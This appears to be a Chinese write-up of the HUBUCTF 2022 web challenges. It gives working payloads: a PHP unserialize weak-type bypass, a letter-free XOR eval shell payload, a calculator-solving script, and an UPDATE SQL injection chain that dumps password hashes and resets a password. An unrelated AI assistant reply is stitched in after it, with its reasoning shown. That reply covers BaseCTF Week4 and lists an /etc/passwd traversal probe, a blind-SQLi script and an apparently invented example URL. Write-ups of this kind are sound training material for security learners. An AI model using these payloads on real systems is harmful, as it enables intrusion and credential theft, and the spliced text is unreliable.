HUBUCTF 2022 新生赛-WEB部分wp

目录

checkin

HowToGetShell

Calculate

ezsql


checkin

源代码:

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>

这里是两个==,根据php弱类型,bool值和任何字符串都为相等,即可以构造username和password的值为bool。可以构建username和password的数组,其值可为bool的ture值。代码为

<?php
$data=[
    'username'=>true,
    'password'=>true,
];
$p1=serialize($data);
echo $p1;
//$p2=unserialize($p1);
?>
    最后输出a:2:{s:8:"username";b:1;s:8:"password";b:1;}

payload:

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

HowToGetShell

源代码:

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

payload:

mess=$_="0302181"^"@[@[_^^";$_();

参考从一道CTF题目谈PHP中的命令执行-优快云博客 

Calculate

python脚本(大佬那边拿来的)

import time

import requests
from lxml import etree

url = "http://node5.anna.nssctf.cn:28001/"
res1 = requests.session()

while True:
    res = res1.get(url)
    tree = etree.HTML(res.text)
    concat = ''
    divs = tree.xpath('/html/body/form/div/text()')
    del divs[-1]
    ans = concat.join(divs)
    print(ans)
    result = str(eval(ans))
    time.sleep(1)
    resp = res1.post(url=url, data={"ans": result})
    print(result)
    cnt = tree.xpath('/html/body/p[3]/text()')
    count = concat.join(cnt)
    print("cnt=====>", count)
    if "NSS" in resp.text:
        print(resp.text)
        break
    time.sleep(1)

ezsql

快速方法

账号:admin

密码:iamcool

常规方法

update注入

注册登入发现可以更新个人信息 其中age字段存在update注入,可通过描述字段查看所需信息

1.nickname=hhh&age=23, description=(select 1)%23	// 1
2.nickname=hhh&age=23, description=(select database())%23	// 查看数据库   demo2
3.nickname=hhh&age=23, description=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23	//查看表 users
4.nickname=hhh&age=23, description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)%23    //查看列 id,username,password,nickname,age,description		(注意此处users会导致更新错误 替换为url编码)
5.nickname=hhh&age=23, description=(select group_concat(password) users)%23	// 0cc175b9c0f1b6a831c399e269772661 为md5格式

 修改password

6. nickname=hhh&age=23, password=0x3230326362393632616335393037356239363462303731353264323334623730%23 // 0x32...30 == hex(md5('123'))

<think>好的,我需要处理用户关于BaseCTF Web Week4解题思路的请求。首先,用户提到了BaseCTF高校联合新生Week1和一篇关于UPX脱壳的博客,但实际需要的是Week4的Web题解。这可能存在混淆,我需要先确认是否存在Week4的公开资料。 检查现有资料,发现用户提供的引用是Week1和逆向工程的博客,与Web Week4无关。因此,我需要告知用户当前没有Week4的公开Writeup,并建议他们检查官方渠道或社区论坛。同时,提供通用的CTF Web解题思路会更有帮助,比如常见漏洞类型和解题步骤。 接下来,生成相关问题,需涵盖准备方法、常见漏洞类型、工具推荐、练习平台和团队协作等方面。确保问题能引导用户进一步探索,并覆盖可能的解题方向。 最后,保持回答结构清晰,分点说明,避免使用Markdown,用自然的中文口语化表达,同时遵循系统级指令中的格式要求,比如数学表达式和引用标识。确保回答真实可靠,不虚构信息,并提示用户关注官方信息。</think>关于BaseCTF Web Week4的解题思路,目前公开渠道尚未找到完整的官方Writeup。不过根据CTF Web题目的常规解题路径,可以提供以下通用建议: 1. **环境审计** - 首先检查网页源代码中的注释和隐藏字段,常包含提示信息如$baseURL = "http://week4.basectf.com/api" - 使用开发者工具分析网络请求,注意观察Cookie设置和JWT令牌的格式 2. **漏洞探测** - SQL注入点测试:尝试在参数后添加$' OR 1=1--进行基础探测 - 文件包含漏洞检测:测试参数如?file=../../etc/passwd - 模板注入验证:通过{{7*7}}测试是否返回49 3. **工具辅助** ```python # 示例SQL盲注脚本 import requests url = "http://target.com/search" for i in range(1,20): payload = f"1' AND (SELECT ASCII(SUBSTRING(database(),{i},1)))>100--" r = requests.get(url, params={"q":payload}) if "result found" in r.text: print(f"Position {i} is over 100") ```
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值